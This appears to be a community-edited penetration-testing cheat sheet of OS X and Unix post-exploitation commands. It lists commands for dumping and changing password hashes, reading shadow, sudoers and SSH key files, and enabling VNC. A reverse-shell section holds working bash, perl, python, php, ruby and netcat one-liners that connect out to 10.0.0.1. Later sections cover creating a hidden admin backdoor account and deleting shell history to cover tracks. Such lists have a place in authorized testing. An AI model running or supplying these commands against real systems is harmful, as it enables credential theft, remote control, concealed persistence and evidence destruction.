**OS X Post-Exploitation Command List**

If for any reason you cannot access/edit these files in the future, please contact mubix@hak5.org

You can download these files in any format using Google Doc’s File->Download As method

If you are viewing this on anything other than Google Docs then you can get access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and Windows docs here: <http://bit.ly/nuc0N0>

DISCLAIMER: Anyone can edit these docs, and all that entails and implies

#### 

## Table of Contents

[Table of Contents](#_fzpfd5vtaii5)

[Blind Files](#_5y4eyawqsnkb)

[SYSTEM](#_4a2l63h4nc0g)

[Networking](#_rex4ao8g82py)

[Configs](#_tetuy5g88en6)

[Packages](#_yw4n75cerl50)

[Finding Important Files](#_qye0dwlq54m)

[Files to pull](#_ylx0u55ysmk0)

[Remote System Access](#_t52kkp9zuadd)

[Priv](#_4hig80dc0yjf)

## Blind Files

(things to pull when all you can do is blindly read) LFI/dir traversal

* /etc/resolv.conf (everyone always has read on this and it wont trigger an IDS)

## SYSTEM

* uname -a
* sw\_vers -productName
* sw\_vers -productVersion
* system\_profiler
* defaults read com.apple.recentitems RecentApplications | grep Name
* defaults read com.apple.recentitems RecentDocuments | grep Name
* mdfind
* id
* printenv
* who
* ps aux
* ps ea
* ebob (read password hash of bob)
* dscl localhost -read /Search/Users/bob ShadowHashData | tail -1 | xxd -r -p | plutil -convert xml1 -o - - (Dump in workable format)
* dscl localhost -passwd /Search/Users/bob (change bob’s password without needing current)
* dscl . -read /Users/<username> ShadowHashData | cut -f9-25 -d" " | cut -f3 -d ":" | tr -d ' '
* /Library/Application Support/VMware Fusion/vmrun list
  + /Library/Application Support/VMware Fusion/vmrun CopyFileFromHostToGuest windowsmalicious.exe aWindowsVM
  + /Library/Application Support/VMware Fusion/vmrun captureScreen WindowsVM
* mdutil -i off / (turn off SpotLight indexing on / - replace ‘off’ with ‘on’ to turn it back on - useful if you want to not have any files you dump locally indexed - replace ‘/’ with ‘volumeName’ if not working on boot volume)
* Snow Leopard and Lion
  + dscacheutil -q user
  + dscacheutil -q group
* Tiger
  + lookupd -q user
  + lookupd -q group

## Networking

* ifconfig
* netstat -np tcp
* netstat -np udp

## Configs

* ls -alh /private/etc/
* ls -alh /Library/Application Support/VMware Fusion/

## Packages

* port installed
* ls -alh /Applications/

## Finding Important Files

* ls -ma ~/
* ls -alh /Users/
* ls -alh /Users/\*/.ssh/
* ls -alh /Users/\*/.gnupg/
* ls -alh /Volumes/

## Files to Pull

## 

## Remote System Access

* <http://support.apple.com/kb/HT2370> instructions to use kickstart to turn on vnc from the commandline (only works as an admin)
* $ sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -users admin -privs -all -restart -agent -menu (enable vnc access)
* $ sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off (kill vnc server)

## Priv

* cat /Library/Application Support/Objective Development/Little Snitch/rules.xpl
* ls

**The current Linux list:**

**(lets remove anything that doesn’t work (or doesn’t mean anything) on OS X),**

**Please indicate the version of OS X on which the command works)**

# System

* uname -a
* ps aux
* ps -aef
* id
* arch
* w
* who -a
* gcc -v
* mysql --version
* perl -v
* ruby -v
* python --version
* df -k
* mount
* last -a
* lastlogin (\*bsd)
* getenforce <- does not work on Lion no idea if this work in previous versions
* dmesg
* lsusb<- does not work on Lion no idea it this work on previous versions
* lshw <- does not work on Lion no idea it this work on previous versions
* free -m <- does not work on Lion no idea it this work on previous versions
* du -h --max-depth=1 /
* which nmap (see if it’s already installed)
* locate bin/nmap
* which nc (see if it’s already installed)
* locate bin/<whatever you want>
* whoami
* jps -l
* java -version

# Networking

* hostname -f
* ip addr show
* ifconfig -a
* route -n
* cat /etc/network/interfaces
* iptables -L -n
* netstat -anop
* netstat -r
* netstat -nltupw (root with raw sockets)
* arp -a
* lsof -nPi

# Configs

* ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
* cat /etc/issue{,.net}
* cat /etc/passwd
* cat /etc/shadow (gotta try..)
* cat /etc/shadow~ # (sometimes there when edited with gedit)
* cat /etc/master.passwd
* cat /etc/group
* cat /etc/hosts
* cat /etc/crontab
* cat /etc/sysctl.conf
* for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
* cat /etc/resolv.conf
* cat /etc/samba/smb.conf
* pdbedit -L -w
* pdbedit -L -v
* cat /etc/exports
* cat /etc/auto.master
* cat /etc/auto\_maste
* cat /etc/fstab
* cat /etc/exports
* find /etc/sysconfig/ -type f -exec cat {} \;
* cat /etc/sudoers

# Package Sources

* cat /etc/apt/sources.list
* ls -l /etc/yum.repos.d/
* cat /etc/yum.conf

# Finding Important Files

* find /var/log -type f -exec ls -la {} \;
* ls -alhtr /mnt
* ls -alhtr /Volumes
* ls -alhtr /tmp
* ls -alhtr /home
* ls /Users/\*/.ssh/\*
* find /home -type f -iname '.\*history'
* ls -lart /etc/rc.d/
* locate tar | grep [.]tar$
* locate tgz | grep [.]tgz$
* locate sql l grep [.]sql$
* locate settings | grep [.]php$
* locate config.inc | grep [.]php$
* ls /Users/\*/id\*
* locate .properties | grep [.]properties # java config files
* locate .xml | grep [.]xml # java/.net config files
* find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm -4000 # find suids

# Per User

* ls -alh /Users/\*/
* ls -alh /Users/\*/.ssh/
* cat /Users/\*/.ssh/authorized\_keys
* cat /Users/\*/.ssh/known\_hosts
* cat /Users/\*/.\*hist\*
* find -type f /Users/\*/.vnc /Users/\*/.subversion
* grep ^ssh /Users/\*/.\*hist\*
* grep ^telnet `/Users/\*/.\*hist\*
* grep ^mysql /Users/\*/.\*hist\*
* cat /Users/\*/.viminfo
* sudo -l # if sudoers is not readable, this sometimes works per user
* crontab -l

# Priv (sudo’d or as root)

* ls -alh /root/
* cat /etc/sudoers
* cat /etc/shadow
* cat /etc/master.passwd # OpenBSD
* cat /var/spool/cron/crontabs/\*
* lsof -nPi
* ls /Users/\*/.ssh/\*

# Reverse Shell

starting list sourced from:<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

* bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # No /dev/tcp on Mac OS X
* perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr\_in($p,inet\_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
* python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
* php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
* ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to\_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

1. nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
   1. rm /tmp/;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

* xterm -display 10.0.0.1:1
  + Listener- Xnest :1
  + Add permission to connect- xhost +victimIPf

## Adding a User

The following commands can be used to create a new user in Terminal:

> dscl . -create /Users/new\_user

> dscl . -create /Users/new\_user UserShell /bin/bash

> dscl . -create /Users/new\_user RealName “USER NAME“

> dscl . -create /Users/new\_user UniqueID 503

> dscl . -create /Users/new\_user PrimaryGroupID 20

PrimaryGroupID of 80 creates an Admin user. Change to PrimaryGroupID of 20 to create a Standard user.

> dscl . -create /Users/new\_user NFSHomeDirectory /Users/new\_user

> dscl . -passwd /Users/new\_user changeme

> dscl . append /Groups/admin GroupMembership new\_user

You may need to create the home directory as well:

> createhomedir -u new\_user

## Covering your Tracks

**HIDE USER** : after creating your backdoor user, bear in mind that it can be seen on login screen and in preferences. to avoid this, you need to make your user hidden. use :

*>* sudo dscl . create /Users/myuser IsHidden 1where myuser is your username

if you later want to make it unhidden, just change the IsHidden value to 0. that is :

*>* sudo dscl . create /Users/myuser IsHidden 0

Don’t forget that your home directory can be easily seen too, that is if u set it to default. move your directory to a directory that is not easily seen. lets say /var/ directory.

> sudo mv /Users/myuser /var/myuser

the following command then updates the myuser directory to the new one /var/

> sudo dscl . -create /Users/hiddenuser NFSHomeDirectory /var/hiddenuser

this then removes the myuser public sharepoint folder

> sudo dscl . -delete "/SharePoints/myuser's Public Folder"

reference: <https://support.apple.com/en-au/HT203998> for more

## Use dseditgroup to allow users access to services (ssh, screen sharing, and more)

**Remote Login (SSH)**

User: > dseditgroup -o edit -n /Local/Default -u localadmin -p -a username -t user com.apple.access\_ssh

Group: > dseditgroup -o edit -n /Local/Default -u localadmin -p -a groupname -t group com.apple.access\_ssh

**Screen Sharing**

User: > dseditgroup -o edit -n /Local/Default -u localadmin -p -a username -t user com.apple.access\_screensharing

Group: > dseditgroup -o edit -n /Local/Default -u localadmin -p -a groupname -t group com.apple.access\_screensharing

**Print Administrators**

User: > dseditgroup -o edit -n /Local/Default -u localadmin -p -a username -t user \_lpadmin

Group: > dseditgroup -o edit -n /Local/Default -u localadmin -p -a groupname -t group \_lpadmin

**Explanation**:

*-o specifies the operation (edit in this case)*

*-n specifies the domain (another example is /LDAPv3/127.0.0.1 on an ODM)*

*-u is the admin user to authenticate with (use diradmin for network domains)*

*-p tells it to prompt for a password*

*-a tells it to add a user or group*

*-t specifies the type, user or group*

## etc/shadow on Mac

Starting with Lion, there is a shadow file per user. All of those are stored in /var/db/dslocal/nodes/Default/users directory and are accessible by root only. For example:

$ ls -lah /var/db/dslocal/nodes/Default/users/  
total 296  
drwx------ 77 root wheel 2.6K Jul 27 20:30 .  
drw------- 12 root wheel 408B Jul 27 20:30 ..  
-rw------- 1 root wheel 4.0K Jul 27 20:30 Guest.plist  
-rw------- 1 root wheel 260B Jul 27 20:17 \_amavisd.plist  
-rw------- 1 root wheel 254B Jul 27 20:17 \_appleevents.plist  
-rw------- 1 root wheel 261B Jul 27 20:17 \_appowner.plist  
-rw------- 1 root wheel 276B Jul 27 20:17 \_appserver.plist

Also, those are binary property list files. The easiest way of viewing them is using plist command. For example:

$ plutil -p /var/db/dslocal/nodes/Default/users/root.plist   
{  
 "smb\_sid" => [  
 0 => "XXXX-XXXX"  
 ]  
 "uid" => [  
 0 => "0"  
 ]  
 "passwd" => [  
 0 => "XXYYXX"  
 ]  
}

## history

remove history

> rm ~/.bash\_history

> history -c

this will delete your recent history